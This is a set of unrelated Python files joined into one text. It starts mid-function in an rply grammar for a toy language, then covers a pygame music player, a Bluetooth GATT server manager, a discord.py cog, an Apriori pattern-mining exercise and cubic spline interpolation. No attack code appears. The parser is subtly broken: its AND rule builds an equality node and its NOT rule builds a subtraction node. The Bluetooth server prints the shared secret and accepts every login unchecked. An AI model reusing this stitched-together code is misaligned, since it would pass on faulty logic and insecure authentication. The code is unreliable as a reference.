                return FuncDec(
                    [p[5], p[7]], p[3].getstr(), p[2].getstr()).eval(st)

        @ self.pg.production('params : TYPE IDENTIFIER')
        #                              p[0]    [1]    p[2]    p[3]
        @ self.pg.production('params : params COMMA TYPE IDENTIFIER')
        # fazer isso depois
        def params(p):
            if len(p) == 2:
                return [[p[0].getstr(), p[1].getstr()]]

            params_type = p[2]
            p_name = p[3]

            p[0].append([p[2].getstr(), p[3].getstr()])
            return p[0]

        #################### BLOCK ####################

        @ self.pg.production('begin : OPEN_BRACES block CLOSE_BRACES ')
        def begin(p):
            return p[1]

        @ self.pg.production('block : command')
        @ self.pg.production('block : block command')
        # arrumar porque ta igual do ma
        def block(p):
            if len(p) == 1:
                return Block([p[0]])

            p[0].children += [p[1]]
            return p[0]

        #################### COMMAND ####################
        @ self.pg.production('command : SEMI_COLON')
        @ self.pg.production('command : assignment SEMI_COLON')
        @ self.pg.production('command : println')
        @ self.pg.production('command : if_cond')
        @ self.pg.production('command : while_cond')
        @ self.pg.production('command : definition SEMI_COLON')
        @ self.pg.production('command : return_fun SEMI_COLON')
        # @self.pg.production('command : while')
        def command(p):
            return p[0]

        @self.pg.production('return_fun : RETURN parseOREXPR')
        def return_fun(p):
            return Setter("vuelve", p[1], "vuelve")

        #################### ASSIGNMENT and DEFINITION ####################
        @self.pg.production('assignment : IDENTIFIER OPEN_PAREN CLOSE_PAREN')
        @self.pg.production('assignment : IDENTIFIER OPEN_PAREN params_assignment CLOSE_PAREN')
        @self.pg.production('assignment : IDENTIFIER EQUAL parseOREXPR')
        def assignment(p):
            if len(p) == 3:
                if p[1].gettokentype() == "EQUAL":
                    return Setter(p[0].getstr(), p[2], None)
                else:
                    node = FuncCall(p[0].getstr(), [])
                    return node

            else:
                # args = []
                node = p[2]

                return FuncCall(p[0].getstr(), node)

        @ self.pg.production('params_assignment :  parseOREXPR')
        #                              p[0]    [1]    p[2]    p[3]
        @ self.pg.production('params_assignment :  params_assignment COMMA parseOREXPR')
        def params_assignment(p):
            if len(p) == 1:
                return [p[0]]
            else:
                p[0].append(p[2])
                return p[0]

        @ self.pg.production('definition : TYPE IDENTIFIER')
        def definition(p):
            return Setter(p[1].getstr(), None, p[0].getstr())
        #################### PRINT ####################

        @ self.pg.production('println : PRINT OPEN_PAREN parseOREXPR CLOSE_PAREN SEMI_COLON')
        # @self.pg.production('println : PRINT OPEN_PAREN variable expression CLOSE_PAREN SEMI_COLON')
        def println(p):
            return Print(p[2])

        #################### WHILE AND FOR ####################
        #                                  p[0] p[1]        p[2]       p[3]         p[4]
        @ self.pg.production('while_cond : WHILE OPEN_PAREN parseOREXPR CLOSE_PAREN begin')
        def while_cond(p):
            condition = p[2]
            todo = p[4]
            return While([condition, todo])

        #################### IF ####################
        #                             p[0] p[1]        p[2]       p[3]         p[4]       p[5]  p[6]
        @ self.pg.production('if_cond : IF OPEN_PAREN parseOREXPR CLOSE_PAREN begin')
        @ self.pg.production('if_cond : IF OPEN_PAREN parseOREXPR CLOSE_PAREN begin ELSE begin')
        def if_cond(p):
            # print(p[0].gettokentype())
            if p[0].gettokentype() == "IF":
                if len(p) == 5:
                    condition = p[2]
                    todo = p[4]
                    return If([condition, todo, None])
                else:
                    return If([p[2], p[4], p[6]])

        #################### parseOREXPR ####################

        @ self.pg.production('parseOREXPR : parseANDEXPR')
        @ self.pg.production('parseOREXPR : parseANDEXPR OR parseOREXPR')
        def parseOREXPR(p):
            if len(p) == 1:
                return p[0]
            else:
                right = p[2]
                left = p[0]
                operator = p[1]
                if operator.gettokentype() == 'OR':
                    return Or(left, right)

        #################### parseANDEXPR ####################
        @ self.pg.production('parseANDEXPR : parseEQEXPR')
        @ self.pg.production('parseANDEXPR : parseEQEXPR AND parseANDEXPR')
        def parseANDEXPR(p):
            if len(p) == 1:
                return p[0]
            else:
                right = p[2]
                left = p[0]
                operator = p[1]
                if operator.gettokentype() == 'AND':
                    return Equal_Equal(left, right)

        #################### parseEQEXPR ####################
        @ self.pg.production('parseEQEXPR : parseRELEXPR')
        @ self.pg.production('parseEQEXPR : parseRELEXPR EQUAL_EQUAL parseEQEXPR')
        def parseEQEXPR(p):
            if len(p) == 1:
                return p[0]
            else:
                right = p[2]
                left = p[0]
                operator = p[1]
                if operator.gettokentype() == 'EQUAL_EQUAL':
                    return Equal_Equal(left, right)

        #################### parseRELEXPR ####################
        @ self.pg.production('parseRELEXPR : expression')
        @ self.pg.production('parseRELEXPR : expression LESS parseRELEXPR')
        @ self.pg.production('parseRELEXPR : expression GREATER parseRELEXPR')
        def parseRELEXPR(p):
            if len(p) == 1:
                return p[0]
            else:
                right = p[2]
                left = p[0]
                operator = p[1]
                if operator.gettokentype() == 'LESS':
                    return Less(left, right)
                elif operator.gettokentype() == 'GREATER':
                    return Greater(left, right)

        #################### EXPRESSION ####################
        @ self.pg.production('expression : term')
        @ self.pg.production('expression : term SUM expression')
        @ self.pg.production('expression : term SUB expression')
        def expression(p):
            if len(p) == 1:
                return p[0]
            else:
                right = p[2]
                left = p[0]
                operator = p[1]
                if operator.gettokentype() == 'SUM':
                    return Sum(left, right)
                elif operator.gettokentype() == 'SUB':
                    return Sub(left, right)

        #################### TERM ####################
        @ self.pg.production('term : factor')
        @ self.pg.production('term : factor DIV term')
        @ self.pg.production('term : factor MUL term')
        def term(p):
            if len(p) == 1:
                return p[0]
            else:
                right = p[2]
                left = p[0]
                operator = p[1]
                if operator.gettokentype() == 'DIV':
                    return Div(left, right)
                elif operator.gettokentype() == 'MUL':
                    return Mul(left, right)

        #################### FACTOR ####################
        @ self.pg.production('factor : SUM factor')
        @ self.pg.production('factor : SUB factor')
        @ self.pg.production('factor : NOT factor')  # preciso fazer
        # @self.pg.production('factor : OPEN_PAREN parseOREXPR CLOSE_PAREN')
        @ self.pg.production('factor : NUMBER')
        @ self.pg.production('factor : IDENTIFIER')
        @self.pg.production('factor : IDENTIFIER OPEN_PAREN CLOSE_PAREN')
        @self.pg.production('factor : IDENTIFIER OPEN_PAREN params_assignment CLOSE_PAREN')
        # fazer o readln
        def factor(p):
            # right = p[2]
            left = p[0]
            if left.gettokentype() == 'SUM':
                return UnOp("SUM", p[1])
            elif left.gettokentype() == 'SUB':
                return UnOp("SUB", p[1])
            elif left.gettokentype() == 'NOT':
                return UnOp("SUB", p[1])
            elif left.gettokentype() == "NUMBER":
                return Number(p[0].value)
            elif left.gettokentype() == "IDENTIFIER":
                if len(p) == 1:
                    return Getter(p[0].getstr())
                elif len(p) == 3:
                    return FuncCall(p[0].getstr(), [])
                else:
                    return FuncCall(p[0].getstr(), p[2])

        @ self.pg.error
        def error_handle(token):
            raise ValueError(token)

    def get_parser(self):
        return self.pg.build()


import pygame
import os

pygame.init()

WIDTH = 250
HEIGHT = 500

WHITE = (255, 255, 255)

# Font
fontBold = pygame.font.Font("assets/player/Blinker-SemiBold.ttf", 15)
font = pygame.font.Font("assets/player/Blinker-Regular.ttf", 13)

subtitle = font.render('playing now', True, WHITE)
song_name = fontBold.render('BoyWithUke-Toxic', True, WHITE)

# Images
_image_library = {}
def get_image(path):
        global _image_library
        image = _image_library.get(path)
        if image == None:
                canonicalized_path = path.replace('/', os.sep).replace('\\', os.sep)
                image = pygame.image.load(canonicalized_path)
                _image_library[path] = image
        return image

# Songs
song_path = 'assets/player/songs/'
songs = os.listdir(song_path)
NUM_OF_SONG = len(songs)
CURRENT_SONG = 0
SONG_PLAYING = False
def setSong(index):
    global songs, CURRENT_SONG, song_name, SONG_PLAYING
    song = songs[index]
    pygame.mixer.music.load(song_path+song)
    pygame.mixer.music.play()
    if not SONG_PLAYING: pygame.mixer.music.pause()
    CURRENT_SONG = index
    song_name = fontBold.render(song[:-4], True, WHITE)
    print('Now playing '+song[:-4])

def playHandler():
    global SONG_PLAYING
    if SONG_PLAYING:
        pygame.mixer.music.pause()
        SONG_PLAYING = False
    else:
        pygame.mixer.music.unpause()
        SONG_PLAYING = True

# Presses
left_press = False
right_press = False
def presses(event):
    global left_press, right_press

    if event.type == pygame.KEYDOWN and event.key == pygame.K_LEFT:
        left_press = True
    else: left_press = False

    if event.type == pygame.KEYDOWN and event.key == pygame.K_RIGHT:
        right_press = True
    else: right_press = False

# Main
screen = pygame.display.set_mode((WIDTH, HEIGHT))
pygame.display.set_caption("pyPlayer")
pygame.display.set_icon(pygame.image.load('assets/player/icon.png'))

done = False
clock = pygame.time.Clock()

setSong(0)
pygame.mixer.music.pause()

while not done:
    for event in pygame.event.get():
            if event.type == pygame.QUIT:
                    done = True
            presses(event)
            if event.type == pygame.KEYUP and event.key == pygame.K_LEFT:
                next_song = CURRENT_SONG - 1
                if next_song < 0: next_song = NUM_OF_SONG-1
                setSong(next_song)

            if event.type == pygame.KEYUP and event.key == pygame.K_RIGHT:
                next_song = CURRENT_SONG + 1
                if next_song >= NUM_OF_SONG: next_song = 0
                setSong(next_song)

            if event.type == pygame.KEYUP and event.key == pygame.K_UP:
                playHandler()

    screen.fill((28, 36, 49))
    screen.blit(get_image('assets/player/screen.png'), (15, 15))
    screen.blit(subtitle, (28, 165))
    screen.blit(song_name, (28, 185))

    screen.blit(get_image('assets/player/play.png'), (50, 290))
    screen.blit(get_image('assets/player/left.png'), (5, 300))
    screen.blit(get_image('assets/player/right.png'), (185, 300))

    if (left_press): screen.blit(get_image('assets/player/left_press.png'), (5, 300))
    if (right_press): screen.blit(get_image('assets/player/right_press.png'), (185, 300))
    if (SONG_PLAYING): screen.blit(get_image('assets/player/play_active.png'), (50, 290))

    pygame.display.flip()
    clock.tick(120)


import dbus

from bluecom.bluezwrapper.constants import BLUEZ_SERVICE_NAME, DBUS_OBJECT_MANAGER_INTERFACE, GATT_MANAGER_INTERFACE
from bluecom.bluezwrapper import Application
from bluecom.channel import Channel
from bluecom.messages.clientbound.channel_data_clientbound import ChannelDataClientbound
from bluecom.messages.clientbound.login_response import LoginResponse
from bluecom.messages.packet_buffer import PacketBuffer
from bluecom.messages.serverbound.channel_data_serverbound import ChannelDataServerbound
from bluecom.messages.serverbound.close_channel_serverbound import CloseChannelServerbound
from bluecom.messages.serverbound.open_channel import OpenChannel
from bluecom.messages.serverbound.open_connection import OpenConnection
from bluecom.messages.types import Byte
from bluecom.transfer_service import TransferService

class ServerManager:
    def __init__(self, mainloop, bus):
        self.mainloop = mainloop
        self.channels = {}
        self._registered_serverbound_messages = {}

        self._register_serverbound_message(OpenConnection)
        self._register_serverbound_message(OpenChannel)
        self._register_serverbound_message(ChannelDataServerbound)
        self._register_serverbound_message(CloseChannelServerbound)

        adapter = self.find_adapter(bus)
        if not adapter:
            print('GattManager1 interface not found')
            return

        service_manager = dbus.Interface(bus.get_object(BLUEZ_SERVICE_NAME, adapter), GATT_MANAGER_INTERFACE)

        self.transfer_service = TransferService(bus, 0)
        self.transfer_service.register_received_data_callback(self._receive_data)
        self.delegate = None

        app = Application(bus)
        app.add_service(self.transfer_service)

        service_manager.RegisterApplication(app.get_path(), {},
                                            reply_handler=self.registration_succeeded,
                                            error_handler=self.registration_failed)

    def register_delegate(self, delegate):
        self.delegate = delegate

    def _register_serverbound_message(self, message):
        self._registered_serverbound_messages[message.id] = message

    def _receive_data(self, data):
        file_object = PacketBuffer(bytes(data))
        message_id = Byte.read(file_object)
        message_class = self._registered_serverbound_messages.get(message_id)

        if message_class is None:
            print("message id unknown", message_id)
            return

        message = message_class(file_object)
        message.execute(self)

    @staticmethod
    def registration_succeeded():
        print('GATT application registration succeeded')

    def registration_failed(self, error):
        print('GATT application registration failed')
        print(error)
        self.mainloop.quit()

    def open_connection(self, shared_secret):
        print("login with " + shared_secret)
        self._send_message(LoginResponse(True))

    def open_channel(self, channel_id, module_id):
        channel = Channel(channel_id, self)
        self.channels[channel_id] = channel
        if self.delegate is not None:
            self.delegate.handle_new_channel(channel, module_id)

    def handle_channel_data_serverbound(self, channel_id, data):
        channel = self.channels[channel_id]
        if channel is not None:
            channel.handle_data(data)

    def handle_close_channel_serverbound(self, channel_id):
        channel = self.channels[channel_id]
        if channel is not None:
            del self.channels[channel_id]
            channel.handle_close()

    def send_data(self, channel_id, data):
        message = ChannelDataClientbound(channel_id, data)
        self._send_message(message)

    def _send_message(self, message):
        self.transfer_service.send_data(message.serialize())

    @staticmethod
    def find_adapter(bus):
        remote_om = dbus.Interface(bus.get_object(BLUEZ_SERVICE_NAME, '/'), DBUS_OBJECT_MANAGER_INTERFACE)
        objects = remote_om.GetManagedObjects()

        for o, props in objects.items():
            if GATT_MANAGER_INTERFACE in props.keys():
                return o

        return None


from discord.ext import commands

from data.database import SqlTools

class Data:

    def __init__(self, bot):
        self.bot = bot

    @commands.command()
    async def fetch_data(self):
        db = SqlTools()
        db.fetch_data()
        await self.bot.say('Data has been fetched like crazy!!!')

    # @commands.command(name="SetMemberChannel")
    # async def set_member_channel(self, channelname):
    #     self.setup.set_channel_members(channelname)
    #     await self.bot.say('New Member Channel {0} has been set!'.format(channelname))
    #
    # @commands.command(name="SetResultsChannel")
    # async def set_results_channel(self, channelname):
    #     self.setup.set_channel_results(channelname)
    #     await self.bot.say('New Results Channel {0} has been set!'.format(channelname))
    #
    # @commands.command()
    # async def fetch_data(self):
    #     db = SqlTools()
    #     db.fetch_data()
    #     await self.bot.say('Data has been fetched like crazy!!!')

###

def setup(bot):
    bot.add_cog(Data(bot))


"""

Frequent Pattern Mining

This question aims to provide you a better understanding of frequent pattern mining algorithm Apriori and closed pattern mining algorithm like CLOSET.

    1. Implement Apriori algorithm to mine frequent pattern from a transaction dataset

    2. Implement an algorithm to mine closed frequent pattern from the same dataset. You can either write a code to extract closed patterns from the result that you got in Part 1 or code CLOSET.
       Input Format

The input dataset is a transaction dataset.
The first line of the input corresponds to the minimum support.
Each following line of the input corresponds to one transaction. Items in each transaction are seperated by a space.
Please refer to the sample input below. In sample input 0, the minimum support is 2, and the dataset contains 3 transactions and 5 item types (A, B, C, D and E).

Output Format

The output are the frequent patterns you mined out from the input dataset.
Each line in the output should be of the format :

Support [frequent pattern]

Frequent patterns should be listed in a descending order based on support. e.g. 3 [C] is listed before 2 [A].
Ties should be resolved based on lexicographical order. e.g. 2 [A] is listed before 2 [A C]
Items within each pattern should be listed in lexicographical order as well seperated by a single space. e.g. 2 [B C D]
First print the frequent patterns and then closed pattern. Seperate the output for two parts by an empty line. In sample output 0, first 9 lines correspond to frequent patterns and last 3 lines correspond to closed pattern.

Sample Input 0

2
B A C E D
A C
C B D

Sample Output 0

3 [C]
2 [A]
2 [A C]
2 [B]
2 [B C]
2 [B C D]
2 [B D]
2 [C D]
2 [D]

3 [C]
2 [A C]
2 [B C D]

Sample Input 1

2
data mining
frequent pattern mining
mining frequent patterns from the transaction dataset
closed and maximal pattern mining
Sample Output 1

4 [mining]
2 [frequent]
2 [frequent mining]
2 [mining pattern]
2 [pattern]

4 [mining]
2 [frequent mining]
2 [mining pattern]

"""

import sys
import itertools
import operator

# Read All of the input
DataBase = []

for line in sys.stdin.read().splitlines():
    current_line_collapsed = line.split(" ")
    DataBase.append(current_line_collapsed)

# Read minimum support number
min_sup = int(DataBase[0][0])

"""
findsubsets(S, m)

Find and return all subsets of a set, S, with given length, m
"""
def findsubsets(S, m):
    return set(itertools.combinations(S, m))

"""
has_infrequent_subset(level_k_candidate, level_k_minus_1_itemset, level_k_minus_1)

check if itemsets candidates contain an itemset that have infrequent subset
"""
def has_infrequent_subset(level_k_candidate, level_k_minus_1_itemset, level_k_minus_1):
    current_subsets = findsubsets(level_k_candidate, level_k_minus_1)
    for each_subset in current_subsets:
        if list(each_subset) not in level_k_minus_1_itemset:
            return True
    return False

"""
apriori_gen(level_k_minus_1_itemset)

Find and return level k itemsets with given level k-1 itemsets
"""
def apriori_gen(level_k_minus_1_itemset):
    level_k_itemset = []
    for itemset1 in level_k_minus_1_itemset:
        for itemset2 in level_k_minus_1_itemset:
            length_of_itemsets = len(itemset1)
            difference = 0
            current_join = set()
            for i in range(0, length_of_itemsets):
                if itemset1[i] not in itemset2:
                    difference = difference + 1
            if difference == 1:
                current_join = set(itemset1)|set(itemset2) # set
                check_append = True
                if (has_infrequent_subset(current_join, level_k_minus_1_itemset, length_of_itemsets) == False):
                    for each_mem in level_k_itemset:
                        if set(each_mem) == current_join:
                            check_append = False
                    if check_append == True:
                        level_k_itemset.append(list(current_join))
    return level_k_itemset

Different_level_itemsets = []

# L1 = find_frequent_1_itemsets(DataBase)
L1 = set()

for index in range(1, len(DataBase)):
    current_row_to_set = set(DataBase[index])
    L1 = L1.union(current_row_to_set)

level_1_itemset_set = list(L1)
level_1_itemset = []

for each_item in level_1_itemset_set:
    count = 0
    for index in range(1, len(DataBase)):
        if each_item in DataBase[index]:
            count = count + 1
    if count >= min_sup:
        level_1_itemset.append([each_item])

Different_level_itemsets.append(level_1_itemset)

k = 1
while(len(Different_level_itemsets[k-1]) != 0):
    level_k_itemset = apriori_gen(Different_level_itemsets[k-1])

    level_k_itemset_append = []
    for each_item in level_k_itemset:
        count = 0
        for index in range(1, len(DataBase)):
            if set(each_item).issubset(set(DataBase[index])) == True:
                count = count + 1
        if count >= min_sup:
            level_k_itemset_append.append(each_item)

    Different_level_itemsets.append(level_k_itemset_append)
    k = k + 1
# sort
for i in range(0, len(Different_level_itemsets)):
    for j  in range(0, len(Different_level_itemsets[i])):
        Different_level_itemsets[i][j] = sorted(Different_level_itemsets[i][j])
    Different_level_itemsets[i] = sorted(Different_level_itemsets[i])

table_for_support_number = []
for each_level_set in Different_level_itemsets:
    for each_itemset in each_level_set:
        count = 0
        for i in range(0, len(DataBase)):
            if set(each_itemset).issubset(DataBase[i]):
                count = count + 1
        table_for_support_number.append([count, each_itemset])

table_for_support_number = sorted(table_for_support_number, key = operator.itemgetter(1))
table_for_support_number = sorted(table_for_support_number, key = operator.itemgetter(0), reverse = True)

for each_tuple in table_for_support_number:
    print(each_tuple[0], '[%s]' % ' '.join(map(str, each_tuple[1])))

print('')

closed_set = []
for item1 in table_for_support_number:
    ok = True
    for item2 in table_for_support_number:
        if item1 != item2:
            if set(item1[1]).issubset(set(item2[1])) and item1[0] == item2[0]:
                ok = False
    if ok == True:
        closed_set.append(item1)

for each_tuple in closed_set:
    print(each_tuple[0], '[%s]' % ' '.join(map(str, each_tuple[1])))


import numpy as np
from math import sqrt

def cubic_interp1d(x0, x, y):
    x = np.asfarray(x)
    y = np.asfarray(y)

    if np.any(np.diff(x) < 0):
        indexes = np.argsort(x)
        x = x[indexes]
        y = y[indexes]

    size = len(x)

    xdiff = np.diff(x)
    ydiff = np.diff(y)

    Li = np.empty(size)
    Li_1 = np.empty(size-1)
    z = np.empty(size)

    Li[0] = sqrt(2*xdiff[0])
    Li_1[0] = 0.0
    B0 = 0.0 # natural boundary
    z[0] = B0 / Li[0]

    for i in range(1, size-1, 1):
        Li_1[i] = xdiff[i-1] / Li[i-1]
        Li[i] = sqrt(2*(xdiff[i-1]+xdiff[i]) - Li_1[i-1] * Li_1[i-1])
        Bi = 6*(ydiff[i]/xdiff[i] - ydiff[i-1]/xdiff[i-1])
        z[i] = (Bi - Li_1[i-1]*z[i-1])/Li[i]

    i = size - 1
    Li_1[i-1] = xdiff[-1] / Li[i-1]
    Li[i] = sqrt(2*xdiff[-1] - Li_1[i-1] * Li_1[i-1])
    Bi = 0.0 # natural boundary
    z[i] = (Bi - Li_1[i-1]*z[i-1])/Li[i]

    # solve [L.T][x] = [y]
    i = size-1
    z[i] = z[i] / Li[i]
    for i in range(size-2, -1, -1):
        z[i] = (z[i] - Li_1[i-1]*z[i+1])/Li[i]

    # find index
    index = x.searchsorted(x0)
    np.clip(index, 1, size-1, index)

    xi1, xi0 = x[index], x[index-1]
    yi1, yi0 = y[index], y[index-1]
    zi1, zi0 = z[index], z[index-1]
    hi1 = xi1 - xi0

    # calculate cubic
    f0 = zi0/(6*hi1)*(xi1-x0)**3 + \
         zi1/(6*hi1)*(x0-xi0)**3 + \
         (yi1/hi1 - zi1*hi1/6)*(x0-xi0) + \
         (yi0/hi1 - zi0*hi1/6)*(xi1-x0)
    return f0

if __name__ == '__main__':
    import matplotlib.pyplot as plt
    x = np.linspace(0, 10, 11)
    y = np.sin(x)
    plt.scatter(x, y)

    x_new = np.linspace(0, 10, 201)
    plt.plot(x_new, cubic_interp1d(x_new, x, y))

    plt.show()